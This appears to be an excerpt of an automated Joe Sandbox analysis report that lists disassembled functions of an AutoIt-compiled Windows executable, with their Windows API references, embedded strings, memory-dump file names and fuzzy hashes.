GetKeyboardState.USER32 ref: 00007FF7978A7BD0
GetAsyncKeyState.USER32 ref: 00007FF7978A7C3F
GetKeyState.USER32 ref: 00007FF7978A7C54
GetAsyncKeyState.USER32 ref: 00007FF7978A7C6D
GetKeyState.USER32 ref: 00007FF7978A7C7D
GetAsyncKeyState.USER32 ref: 00007FF7978A7C97
GetKeyState.USER32 ref: 00007FF7978A7CA7
GetAsyncKeyState.USER32 ref: 00007FF7978A7CC1
GetKeyState.USER32 ref: 00007FF7978A7CD1
GetAsyncKeyState.USER32 ref: 00007FF7978A7CEB
GetKeyState.USER32 ref: 00007FF7978A7CFB

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 0d5fea19e654a2244c488208034703c69de1b6555bf9c6d80bb1d0db3dd32864
Instruction ID: 433265058de2eb072f52d0aa332facaa5356f57ec90306fc2226790b2819ae78
Opcode Fuzzy Hash: 0d5fea19e654a2244c488208034703c69de1b6555bf9c6d80bb1d0db3dd32864
Instruction Fuzzy Hash: 0741A722E0C6C155FB79BB709800B79AE90EF95BE4F884039C789035C6CF5DA8B69371

Function 00007FF79783E774 Relevance: 16.2, APIs: 2, Strings: 7, Instructions: 438COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF797836838: CreateFileW.KERNELBASE ref: 00007FF7978368A2

Part of subcall function 00007FF797854380: GetCurrentDirectoryW.KERNEL32(?,00007FF79783E817), ref: 00007FF79785439C

Part of subcall function 00007FF7978356D4: GetFullPathNameW.KERNEL32(?,00007FF7978356C1,?,00007FF797837A0C,?,?,?,00007FF79783109E), ref: 00007FF7978356FF

SetCurrentDirectoryW.KERNEL32 ref: 00007FF79783E8B0
SetCurrentDirectoryW.KERNEL32 ref: 00007FF79783E9FA

Part of subcall function 00007FF797839F10: wcscpy.LIBCMT ref: 00007FF797839F61

Strings

Error opening the file, xrefs: 00007FF79788A09B, 00007FF79788A428
EA06, xrefs: 00007FF79788A0BB
AU3!, xrefs: 00007FF79783E85F
Bad directive syntax error, xrefs: 00007FF79788A3FB
>>>AUTOIT SCRIPT<<<, xrefs: 00007FF79788A109
Unterminated string, xrefs: 00007FF79788A483
#include depth exceeded. Make sure there are no recursive includes, xrefs: 00007FF79788A07A

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: CurrentDirectory$CreateFileFullNamePathwcscpy
String ID: #include depth exceeded. Make sure there are no recursive includes$>>>AUTOIT SCRIPT<<<$AU3!$Bad directive syntax error$EA06$Error opening the file$Unterminated string
API String ID: 2207129308-1018226102
Opcode ID: 5bfa004ec22c833a2472a908fe95c9b7691a976b7a6d51bd3e5b7c8dec0a9794
Instruction ID: ecc073535efe26b83b56bbe7340d750e405d3c211619710efff355639e43afb9
Opcode Fuzzy Hash: 5bfa004ec22c833a2472a908fe95c9b7691a976b7a6d51bd3e5b7c8dec0a9794
Instruction Fuzzy Hash: DB129122A1864296EB20FB35D4419FEEB60FB947D4FC00132EA5E47A9ADF7CD516C720

Function 00007FF7978C66B4 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 182comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32 ref: 00007FF7978C6717
CoUninitialize.OLE32 ref: 00007FF7978C6721
CoCreateInstance.OLE32 ref: 00007FF7978C6791
IIDFromString.OLE32 ref: 00007FF7978C6810
VariantInit.OLEAUT32 ref: 00007FF7978C68AF
VariantClear.OLEAUT32 ref: 00007FF7978C6900

Strings

Failed to create object, xrefs: 00007FF7978C679B
NULL Pointer assignment, xrefs: 00007FF7978C67DE
Invalid parameter, xrefs: 00007FF7978C6828

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 636576611-1287834457
Opcode ID: d3a580e491fa370693ce8ba862392fa3376b342775cf25ffc1cf68725eb2da1d
Instruction ID: 11eaea764a923795757e4b2610ed16c19cde30b50c068cd3e70a3b590b36276d
Opcode Fuzzy Hash: d3a580e491fa370693ce8ba862392fa3376b342775cf25ffc1cf68725eb2da1d
Instruction Fuzzy Hash: 0E712962B08B06C5EB24AF36E4409ADAB60FF54BD8B985431DE0E47765DF38E4568360

Function 00007FF79786D504 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF79786D681

Strings

nan, xrefs: 00007FF79786D56C
INF, xrefs: 00007FF79786D577
NAN(IND), xrefs: 00007FF79786D5AF
inf, xrefs: 00007FF79786D58A
NAN, xrefs: 00007FF79786D565
NAN(SNAN), xrefs: 00007FF79786D599
nan(ind), xrefs: 00007FF79786D5BA
nan(snan), xrefs: 00007FF79786D5A4

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: INF$NAN$NAN(IND)$NAN(SNAN)$inf$nan$nan(ind)$nan(snan)
API String ID: 3215553584-2617248754
Opcode ID: e534a4a1f8a44b0f303199b2ab2fa91302a5b5a6dc95b4e8f2eb5eb0306d3d2b
Instruction ID: d3036bb4d259cc78198fe57547e77a848aac65d4d20f384ba3c8ef82eb19c12f
Opcode Fuzzy Hash: e534a4a1f8a44b0f303199b2ab2fa91302a5b5a6dc95b4e8f2eb5eb0306d3d2b
Instruction Fuzzy Hash: 41419D32A05F4599FB60EB35E841BA97BA4FB08798F804136EE5C47B54EE3CD026C354

Function 00007FF7978B59D8 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 96COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 00007FF7978B59FB
GetDiskFreeSpaceW.KERNEL32 ref: 00007FF7978B5A86
GetLastError.KERNEL32 ref: 00007FF7978B5A90
SetErrorMode.KERNEL32 ref: 00007FF7978B5B17

Strings

READY, xrefs: 00007FF7978B5AD6
NOTREADY, xrefs: 00007FF7978B5AB7
UNKNOWN, xrefs: 00007FF7978B5AB0
READONLY, xrefs: 00007FF7978B5AC4
INVALID, xrefs: 00007FF7978B5ACD

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
API String ID: 4194297153-14809454
Opcode ID: f10055d30637c38e5cee514d44455591cda2366b25399950410d251fa1d84edd
Instruction ID: 47d75439835b227d72bd3fb596a2dd826993ace7ca95a562fedb1662a3a3c0ba
Opcode Fuzzy Hash: f10055d30637c38e5cee514d44455591cda2366b25399950410d251fa1d84edd
Instruction Fuzzy Hash: A8415132A08A4295EB20BB35D8805ACBB71FB48BD4F845436DA0D53795DF3CD5A7C320

Function 00007FF7978A76D8 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 77windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000001,00007FF79787C8E3,?,?,?,?,?,?,?,?,00000000,?,?,?,?,00007FF797833F7D), ref: 00007FF7978A770E
LoadStringW.USER32 ref: 00007FF7978A7728
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7978A776B
MessageBoxW.USER32 ref: 00007FF7978A77FF

Strings

., xrefs: 00007FF7978A77DC
Line %d:, xrefs: 00007FF7978A7781
Line %d (File "%s"):, xrefs: 00007FF7978A7792
Error: , xrefs: 00007FF7978A77BE
%s (%d) : ==> %s.: %s %s, xrefs: 00007FF7978A7755

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: HandleLoadMessageModuleStringwprintf
String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
API String ID: 4007322891-4153970271
Opcode ID: d2c53d1d959ddbb042106dfbd728545592dc85493fc1c840e99c250cd80bea81
Instruction ID: a8a52df59481d64f2626cf7e47b7c403a096509a40f48a4f89760dce11e7c633
Opcode Fuzzy Hash: d2c53d1d959ddbb042106dfbd728545592dc85493fc1c840e99c250cd80bea81
Instruction Fuzzy Hash: A6316D32A28A8295DB20FB35E8459ADA760FF84BD4FC04032EA4D47699DF7CD527C760

Function 00007FF79789E08C Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 74windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7978A0730: GetClassNameW.USER32 ref: 00007FF7978A075B

SendMessageW.USER32 ref: 00007FF79789E125
GetDlgCtrlID.USER32 ref: 00007FF79789E137
GetParent.USER32 ref: 00007FF79789E148
SendMessageW.USER32 ref: 00007FF79789E15C
GetDlgCtrlID.USER32 ref: 00007FF79789E168
GetParent.USER32 ref: 00007FF79789E177
SendMessageW.USER32 ref: 00007FF79789E18B

Strings

ComboBox, xrefs: 00007FF79789E0A6
ListBox, xrefs: 00007FF79789E0DF

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName
String ID: ComboBox$ListBox
API String ID: 2573188126-1403004172
Opcode ID: a8d2e2293dbfee37da9a2fe869a5b922080c116a80800c43aba43d92898523f5
Instruction ID: e000aad05c1661a730dd48483d4efe3cc50909806111e89a641c8e02ae5a24d8
Opcode Fuzzy Hash: a8d2e2293dbfee37da9a2fe869a5b922080c116a80800c43aba43d92898523f5
Instruction Fuzzy Hash: 60319735B18641C1EA20BB25E8545B8AB61FF89FE0FC44231DAAD077D5CF2CD5268760

Function 00007FF79789E1AC Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 74windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7978A0730: GetClassNameW.USER32 ref: 00007FF7978A075B

SendMessageW.USER32 ref: 00007FF79789E244
GetDlgCtrlID.USER32 ref: 00007FF79789E256
GetParent.USER32 ref: 00007FF79789E267
SendMessageW.USER32 ref: 00007FF79789E27B
GetDlgCtrlID.USER32 ref: 00007FF79789E287
GetParent.USER32 ref: 00007FF79789E296
SendMessageW.USER32 ref: 00007FF79789E2AA

Strings

ComboBox, xrefs: 00007FF79789E1C6
ListBox, xrefs: 00007FF79789E1FF

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName
String ID: ComboBox$ListBox
API String ID: 2573188126-1403004172
Opcode ID: eaf651fc238b3aae00e08fe6209fec8bf8ab91120c705cf7cb7de3de14439670
Instruction ID: 731f13a401f5df24ca7204a576e760e5ce2f7c900ec7e5a37d7489e9ed2ee904
Opcode Fuzzy Hash: eaf651fc238b3aae00e08fe6209fec8bf8ab91120c705cf7cb7de3de14439670
Instruction Fuzzy Hash: E731B135B08A4182EA30BB65E8545F9AB61FF89FE0F844131DA9D03BD5DF2CE5268760

Function 00007FF7978A92E4 Relevance: 15.1, APIs: 10, Instructions: 88threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00007FF7978A9318
GetForegroundWindow.USER32(?,?,?,00007FF7978A80FE), ref: 00007FF7978A9329
GetWindowThreadProcessId.USER32 ref: 00007FF7978A9334
AttachThreadInput.USER32(?,?,?,00007FF7978A80FE), ref: 00007FF7978A9348
GetWindowThreadProcessId.USER32 ref: 00007FF7978A935E
AttachThreadInput.USER32(?,?,?,00007FF7978A80FE), ref: 00007FF7978A937A
AttachThreadInput.USER32(?,?,?,00007FF7978A80FE), ref: 00007FF7978A9393
AttachThreadInput.USER32(?,?,?,00007FF7978A80FE), ref: 00007FF7978A93D2
AttachThreadInput.USER32(?,?,?,00007FF7978A80FE), ref: 00007FF7978A93ED
AttachThreadInput.USER32(?,?,?,00007FF7978A80FE), ref: 00007FF7978A9400

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Thread$AttachInput$Window$Process$CurrentForeground
String ID:
API String ID: 2156557900-0
Opcode ID: f7d99cf07bea50fb16dd5d3cc311eaa5ea5dc55bf0c60a23a6c1e8e39f679243
Instruction ID: 113f9b852da4f64179ca256c35e4e0a26fb8b38c54fe614f372fceb23cbd296e
Opcode Fuzzy Hash: f7d99cf07bea50fb16dd5d3cc311eaa5ea5dc55bf0c60a23a6c1e8e39f679243
Instruction Fuzzy Hash: 42315B24B0D60386EB74BB35A854A39FBB1EF487E0F905534CD0A83654DE3DE8978670

Function 00007FF79789E908 Relevance: 15.1, APIs: 10, Instructions: 59keyboardsleepwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7978A03F8: GetWindowThreadProcessId.USER32 ref: 00007FF7978A0414
Part of subcall function 00007FF7978A03F8: GetCurrentThreadId.KERNEL32 ref: 00007FF7978A041C
Part of subcall function 00007FF7978A03F8: AttachThreadInput.USER32(?,?,?,00007FF79789E921), ref: 00007FF7978A0441

MapVirtualKeyW.USER32 ref: 00007FF79789E92C
PostMessageW.USER32 ref: 00007FF79789E947
Sleep.KERNEL32 ref: 00007FF79789E94F
MapVirtualKeyW.USER32 ref: 00007FF79789E959
MapVirtualKeyW.USER32 ref: 00007FF79789E964
PostMessageW.USER32 ref: 00007FF79789E982
Sleep.KERNEL32 ref: 00007FF79789E98A
MapVirtualKeyW.USER32 ref: 00007FF79789E994
PostMessageW.USER32 ref: 00007FF79789E9B6
Sleep.KERNEL32 ref: 00007FF79789E9BE

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Virtual$MessagePostSleepThread$AttachCurrentInputProcessWindow
String ID:
API String ID: 685491774-0
Opcode ID: c5260aafb6a4b6d42d2605749b26c771a95cedda71831fed2f7dc5c01b1cab92
Instruction ID: eedca3886ca03f7a0625153f845cc5936ff8a94bee8bb15cbc7a8febb0ef340e
Opcode Fuzzy Hash: c5260aafb6a4b6d42d2605749b26c771a95cedda71831fed2f7dc5c01b1cab92
Instruction Fuzzy Hash: BC11A235B0450282F764BB76E85896D6A61AFCCBC0F805038C91E8BB50DE3DD5668360

Function 00007FF79789F7F4 Relevance: 14.5, APIs: 2, Strings: 6, Instructions: 471COMMON

Download Yara Rule

Strings

REGEXPCLASS, xrefs: 00007FF79789F988, 00007FF79789F99D
NAME, xrefs: 00007FF79789FAA9, 00007FF79789FABA
CLASSNN, xrefs: 00007FF79789F924, 00007FF79789F935
CLASS, xrefs: 00007FF79789F8A8, 00007FF79789F8D1
INSTANCE, xrefs: 00007FF79789FCC3, 00007FF79789FCD4
TEXT, xrefs: 00007FF79789FD2F, 00007FF79789FD40

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID:
String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
API String ID: 0-1603158881
Opcode ID: 29975b3c2b9711d51f2a34939379774d20c8c5231b4f57784e2d79393856af5d
Instruction ID: a5f1709458737a2560f22f4c8e111cd797f47333c977389915fd367e2dff671a
Opcode Fuzzy Hash: 29975b3c2b9711d51f2a34939379774d20c8c5231b4f57784e2d79393856af5d
Instruction Fuzzy Hash: C412D362B19A4392EA7CAB31C855BF8E6A1BF547C4FC44531DA1D96290EF3CF563C220

Function 00007FF7978C767C Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 00007FF7978C77E3
VariantInit.OLEAUT32 ref: 00007FF7978C7920
VariantClear.OLEAUT32 ref: 00007FF7978C792A

Strings

Null Object assignment in FOR..IN loop, xrefs: 00007FF7978C799D
Incorrect Object type in FOR..IN loop, xrefs: 00007FF7978C78FC
get__NewEnum, xrefs: 00007FF7978C76D1
_NewEnum, xrefs: 00007FF7978C76AB

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Variant$Init$Clear
String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop$_NewEnum$get__NewEnum
API String ID: 3467423407-1765764032
Opcode ID: 5cbe146a5ea3c13e5b9c23758e8e3c0c38d3cb360c4271411c28d686ea4a681f
Instruction ID: 17fc6fd9ccfd233a2026d66e119a75033bdd474f1fbd0cc078af017a04aab97c
Opcode Fuzzy Hash: 5cbe146a5ea3c13e5b9c23758e8e3c0c38d3cb360c4271411c28d686ea4a681f
Instruction Fuzzy Hash: 52A16F36A08B4286EB20AF75D4409ADBBA4FB88BD8F984132DE4D07B54DF3CD55AC750

Function 00007FF7978DA350 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 139windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF79783932C: CreateWindowExW.USER32 ref: 00007FF7978393BC
Part of subcall function 00007FF79783932C: GetStockObject.GDI32 ref: 00007FF7978393D9
Part of subcall function 00007FF79783932C: SendMessageW.USER32 ref: 00007FF7978393EC

SendMessageW.USER32 ref: 00007FF7978DA461
SendMessageW.USER32 ref: 00007FF7978DA47A
SetWindowPos.USER32 ref: 00007FF7978DA4A7
wcscat.LIBCMT ref: 00007FF7978DA509
SendMessageW.USER32 ref: 00007FF7978DA51D
SendMessageW.USER32 ref: 00007FF7978DA54E

Strings

-----, xrefs: 00007FF7978DA4FB
SysListView32, xrefs: 00007FF7978DA3B0

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: MessageSend$Window$CreateObjectStockwcscat
String ID: -----$SysListView32
API String ID: 2361508679-3975388722
Opcode ID: c344d9879c390065c59b29320dac7b0039891542bbecba4ba3e0f02e7f9bfa97
Instruction ID: 1993a2498dd6042a60db15e22c3dcf8e7ac0b2bbaa9f5844a04fdc038132382f
Opcode Fuzzy Hash: c344d9879c390065c59b29320dac7b0039891542bbecba4ba3e0f02e7f9bfa97
Instruction Fuzzy Hash: FC51B032A047819AE730EF35D888AD977A5FB84794F80013ADE5D47B55CF38D9A6C740

Function 00007FF79789E2CC Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 00007FF79789E2DF
GetClassNameW.USER32 ref: 00007FF79789E2F6

Part of subcall function 00007FF797858E28: _invalid_parameter_noinfo.LIBCMT ref: 00007FF797858E4F

SendMessageW.USER32 ref: 00007FF79789E386

Strings

largeicons, xrefs: 00007FF79789E314
list, xrefs: 00007FF79789E365
smallicons, xrefs: 00007FF79789E34A
SHELLDLL_DefView, xrefs: 00007FF79789E2FC
details, xrefs: 00007FF79789E32F

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: ClassMessageNameParentSend_invalid_parameter_noinfo
String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
API String ID: 2019164449-3381328864
Opcode ID: 8e262b819e6f56a90fb6f0dff8af3bf336551f9b4e3e960db18143356d212841
Instruction ID: fc800b4226d61dcdfdcc911ee48c216d2c2f628ee0bdf35097d066a74c96e44c
Opcode Fuzzy Hash: 8e262b819e6f56a90fb6f0dff8af3bf336551f9b4e3e960db18143356d212841
Instruction Fuzzy Hash: 18210022B1C50390FA70BB31E955AB9AB61AF85FC5FD04036C90E47695EE2CF5279720

Function 00007FF7978C7054 Relevance: 13.9, APIs: 9, Instructions: 373COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32 ref: 00007FF7978C7168
FreeLibrary.KERNEL32 ref: 00007FF7978C71A9
QueryPathOfRegTypeLib.OLEAUT32 ref: 00007FF7978C73B2
SysFreeString.OLEAUT32 ref: 00007FF7978C73E7
StringFromGUID2.OLE32 ref: 00007FF7978C7585

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

